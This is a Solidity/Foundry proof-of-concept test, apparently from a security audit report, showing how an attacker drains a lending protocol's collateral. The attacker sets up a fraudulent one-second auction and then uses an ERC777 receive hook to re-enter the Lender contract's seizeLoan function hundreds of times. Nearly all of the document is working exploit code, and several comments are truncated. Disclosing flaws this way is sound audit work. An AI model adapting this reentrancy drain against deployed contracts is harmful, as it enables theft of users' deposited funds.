The code below demonstrates the described attack vector. Save it as a .t.sol
file under test/
folder (for example, /test/ExploitSeizeLoanReentrancy.t.sol
), and run it with the following command: forge test --match-test testAttackerDrainsCollateralBalanceExploitingReentrancyInSeizeLoan
.
pragma solidity ^0.8.20;
import {Test, console} from "forge-std/Test.sol";
import {ERC777, IERC1820Registry} from "lib/openzeppelin-contracts/contracts/token/ERC777/ERC777.sol";
import {ERC20Mock} from "lib/openzeppelin-contracts/contracts/mocks/ERC20Mock.sol";
import {Lender} from "../src/Lender.sol";
import {Pool, Borrow} from "../src/utils/Structs.sol";
* @dev ERC777 Mock, used for proving reentrancy
*/
contract TestToken is ERC777 {
constructor() ERC777("test", "t", new address[](0)) {}
function mint(address account, uint256 amount, bytes memory userData, bytes memory operatorData) public {
_mint(account, amount, userData, operatorData, true);
}
}
* @dev Contract that the attacker will use to interact with Beedle protocol
* @notice Exploits reentrancy vulnerability
*/
contract MaliciousContract {
address private immutable REGISTRY = 0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24;
address private immutable i_owner;
address private immutable i_lender;
address private immutable i_token;
uint256 private s_reentrancyRound;
bytes32 private s_poolId;
uint256[] private s_loanIds;
Borrow[] private s_currentBorrows;
constructor(address _lender, address _token, uint256 _amount) {
i_owner = msg.sender;
i_lender = _lender;
i_token = _token;
IERC1820Registry(REGISTRY).setInterfaceImplementer(
address(this), keccak256("ERC777TokensRecipient"), address(this)
);
ERC777(i_token).approve(i_lender, _amount);
}
modifier onlyOwner() {
require(msg.sender == i_owner, "Not an owner!");
_;
}
* @dev Creates a pool on behalf of the attacker
*/
function setPool(Pool memory p) external onlyOwner returns (bytes32 poolId) {
ERC20Mock(p.loanToken).approve(i_lender, p.poolBalance);
poolId = Lender(i_lender).setPool(p);
s_poolId = poolId;
}
* @dev Starts an (fradulent) auction of the attacker's pool
*/
function startAuction(uint256[] calldata loanIds) external onlyOwner {
Lender(i_lender).startAuction(loanIds);
}
* @dev Seizes the attacker's loan
*/
function seizeLoan(uint256[] calldata loanIds) external onlyOwner {
s_loanIds = loanIds;
Lender(i_lender).seizeLoan(loanIds);
ERC777(i_token).transfer(i_owner, ERC777(i_token).balanceOf(address(this)));
}
* @dev ERC777 hook on receiving tokens
* @notice Will be called multiple times due to reentrancy in the Lender.seizeLoan()
*/
function tokensReceived(address payable, address, address, uint256, bytes calldata, bytes calldata) external {
++s_reentrancyRound;
while (s_reentrancyRound > 1 && s_reentrancyRound <= 341) {
For the sake of simplicity we are ignoring those marginal deposits in this POC, but those can be retrieved by seizing as well*/
Borrow memory borrow = Borrow({poolId: s_poolId, debt: 1, collateral: 1});
if (s_currentBorrows.length == 0) {
s_currentBorrows.push(borrow);
} else {
s_currentBorrows[0] = borrow;
}
Lender(i_lender).borrow(s_currentBorrows);
Lender(i_lender).seizeLoan(s_loanIds);
}
}
}
contract ExploitSetPoolReentrancy is Test {
address private constant REGISTRY_ADDRESS = 0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24;
bytes private constant REGISTRY_BYTECODE = bytes(
hex"608060405234801561001057600080fd5b50600436106100a5576000357c010000000000000000000000000000000000000000000000000000000090048063a41e7d5111610078578063a41e7d51146101d4578063aabbb8ca1461020a578063b705676514610236578063f712f3e814610280576100a5565b806329965a1d146100aa5780633d584063146100e25780635df8122f1461012457806365ba36c114610152575b600080fd5b6100e0600480360360608110156100c057600080fd5b50600160a060020a038135811691602081013591604090910135166102b6565b005b610108600480360360208110156100f857600080fd5b5035600160a060020a0316610570565b60408051600160a060020a039092168252519081900360200190f35b6100e06004803603604081101561013a57600080fd5b50600160a060020a03813581169160200135166105bc565b6101c26004803603602081101561016857600080fd5b81019060208101813564010000000081111561018357600080fd5b82018360208201111561019557600080fd5b803590602001918460018302840111640100000000831117156101b757600080fd5b5090925090506106b3565b60408051918252519081900360200190f35b6100e0600480360360408110156101ea57600080fd5b508035600160a060020a03169060200135600160e060020a0319166106ee565b6101086004803603604081101561022057600080fd5b50600160a060020a038135169060200135610778565b61026c6004803603604081101561024c57600080fd5b508035600160a060020a03169060200135600160e060020a0319166107ef565b604080519115158252519081900360200190f35b61026c6004803603604081101561029657600080fd5b508035600160a060020a03169060200135600160e060020a0319166108aa565b6000600160a060020a038416156102cd57836102cf565b335b9050336102db82610570565b600160a060020a031614610339576040805160e560020a62461bcd02815260206004820152600f60248201527f4e6f7420746865206d616e616765720000000000000000000000000000000000604482015290519081900360640190fd5b6103428361092a565b15610397576040805160e560020a62461bcd02815260206004820152601a60248201527f4d757374206e6f7420626520616e204552433136352068617368000000000000604482015290519081900360640190fd5b600160a060020a038216158015906103b85750600160a060020a0382163314155b156104ff5760405160200180807f455243313832305f4143434550545f4d4147494300000000000000000000000081525060140190506040516020818303038152906040528051906020012082600160a060020a031663249cb3fa85846040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182600160a060020a0316600160a060020a031681526020019250505060206040518083038186803b15801561047e57600080fd5b505afa158015610492573d6000803e3d6000fd5b505050506040513d60208110156104a857600080fd5b5051146104ff576040805160e560020a62461bcd02815260206004820181905260248201527f446f6573206e6f7420696d706c656d656e742074686520696e74657266616365604482015290519081900360640190fd5b600160a060020a03818116600081815260208181526040808320888452909152808220805473ffffffffffffffffffffffffffffffffffffffff19169487169485179055518692917f93baa6efbd2244243bfee6ce4cfdd1d04fc4c0e9a786abd3a41313bd352db15391a450505050565b600160a060020a03818116600090815260016020526040812054909116151561059a5750806105b7565b50600160a060020a03808216600090815260016020526040902054165b919050565b336105c683610570565b600160a060020a031614610624576040805160e560020a62461bcd02815260206004820152600f60248201527f4e6f7420746865206d616e616765720000000000000000000000000000000000604482015290519081900360640190fd5b81600160a060020a031681600160a060020a0316146106435780610646565b60005b600160a060020a03838116600081815260016020526040808220805473ffffffffffffffffffffffffffffffffffffffff19169585169590951790945592519184169290917f605c2dbf762e5f7d60a546d42e7205dcb1b011ebc62a61736a57c9089d3a43509190a35050565b600082826040516020018083838082843780830192505050925050506040516020818303038152906040528051906020012090505b92915050565b6106f882826107ef565b610703576000610705565b815b600160a060020a03928316600081815260208181526040808320600160e060020a031996909616808452958252808320805473ffffffffffffffffffffffffffffffffffffffff19169590971694909417909555908152600284528181209281529190925220805460ff19166001179055565b600080600160a060020a038416156107905783610792565b335b905061079d8361092a565b156107c357826107ad82826108aa565b6107b85760006107ba565b815b925050506106e8565b600160a060020a0390811660009081526020818152604080832086845290915290205416905092915050565b6000808061081d857f01ffc9a70000000000000000000000000000000000000000000000000000000061094c565b909250905081158061082d575080155b1561083d576000925050506106e8565b61084f85600160e060020a031961094c565b909250905081158061086057508015155b15610870576000925050506106e8565b61087a858561094c565b909250905060018214801561088f5750806001145b1561089f576001925050506106e8565b506000949350505050565b600160a060020a0382166000908152600260209081526040808320600160e060020a03198516845290915281205460ff1615156108f2576108eb83836107ef565b90506106e8565b50600160a060020a03808316600081815260208181526040808320600160e060020a0319871684529091529020549091161492915050565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff161590565b6040517f01ffc9a7000000000000000000000000000000000000000000000000000000008082526004820183905260009182919060208160248189617530fa90519096909550935050505056fea165627a7a72305820377f4a2d4301ede9949f163f319021a6e9c687c292a5e2b2c4734c126b524e6c0029"
);
uint256 private constant WHALE_DEPOSIT = 1_000_000 ether;
uint256 private constant ATTACKER_DEPOSIT = 1_001 ether;
uint256 private constant EXPECTED_ENDING_BALANCE = 339295999999999999999660;
TestToken private borrowToken;
ERC20Mock private lendToken;
Lender private lender;
MaliciousContract maliciousContract;
address private whaleLender = makeAddr("whaleLender");
address private whaleBorrower = makeAddr("whaleBorrower");
address private attacker = makeAddr("attacker");
Borrow[] borrowsList1;
Borrow[] borrowsList2;
uint256[] loanIds;
function setUp() external {
vm.etch(REGISTRY_ADDRESS, REGISTRY_BYTECODE);
lender = new Lender();
borrowToken = new TestToken();
lendToken = new ERC20Mock();
vm.prank(attacker);
maliciousContract = new MaliciousContract(address(lender), address(borrowToken), ATTACKER_DEPOSIT);
lendToken.mint(whaleLender, WHALE_DEPOSIT);
lendToken.mint(attacker, ATTACKER_DEPOSIT);
borrowToken.mint(whaleBorrower, WHALE_DEPOSIT, "", "");
borrowToken.mint(attacker, ATTACKER_DEPOSIT, "", "");
vm.prank(whaleLender);
lendToken.approve(address(lender), 100 ether);
vm.prank(whaleBorrower);
borrowToken.approve(address(lender), WHALE_DEPOSIT);
vm.startPrank(attacker);
lendToken.approve(address(lender), 1);
borrowToken.approve(address(lender), ATTACKER_DEPOSIT);
vm.stopPrank();
Pool memory whalesPool = Pool({
lender: whaleLender,
loanToken: address(lendToken),
collateralToken: address(borrowToken),
minLoanSize: 10 ether,
poolBalance: 100 ether,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
vm.prank(whaleLender);
bytes32 poolId = lender.setPool(whalesPool);
Borrow memory borrow = Borrow({poolId: poolId, debt: 10 ether, collateral: WHALE_DEPOSIT});
borrowsList1.push(borrow);
vm.prank(whaleBorrower);
lender.borrow(borrowsList1);
and attacker owns 1_001 borrowToken */
assertEq(borrowToken.balanceOf(address(lender)), WHALE_DEPOSIT);
assertEq(borrowToken.balanceOf(attacker), ATTACKER_DEPOSIT);
}
function testAttackerDrainsCollateralBalanceExploitingReentrancyInSeizeLoan() external {
He funds his maliciousContract with some tokens */
vm.startPrank(attacker);
lendToken.transfer(address(maliciousContract), ATTACKER_DEPOSIT);
borrowToken.transfer(address(maliciousContract), 1 ether);
Pool memory attackersPool = Pool({
lender: address(maliciousContract),
loanToken: address(lendToken),
collateralToken: address(borrowToken),
minLoanSize: 1,
poolBalance: 1 ether,
maxLoanRatio: type(uint256).max,
auctionLength: 1 seconds,
interestRate: 1,
outstandingLoans: 0
});
bytes32 attackerPoolId = maliciousContract.setPool(attackersPool);
smaller than the time between two blocks (so that the auction would expire before anyone will be able to buy it) */
Borrow memory borrow = Borrow({poolId: attackerPoolId, debt: 1, collateral: 1_000 ether});
borrowsList2.push(borrow);
lender.borrow(borrowsList2);
loanIds.push(1);
meaning no one will be able to participate in it (it's impossible to buy the loan in the same block as the
auction starts) */
maliciousContract.startAuction(loanIds);
vm.warp(block.timestamp + 13 seconds);
maliciousContract.seizeLoan(loanIds);
reentrancy rounds he creates an additional small dummy borrow from his pool, so that the outstandingLoans
decrementation will not revert. See - maliciousContract's code */
vm.stopPrank();
which is ignored in this POC for the sake of simplicity) */
uint256 endingAttackerBalance = borrowToken.balanceOf(attacker);
assertEq(endingAttackerBalance, EXPECTED_ENDING_BALANCE);
}
}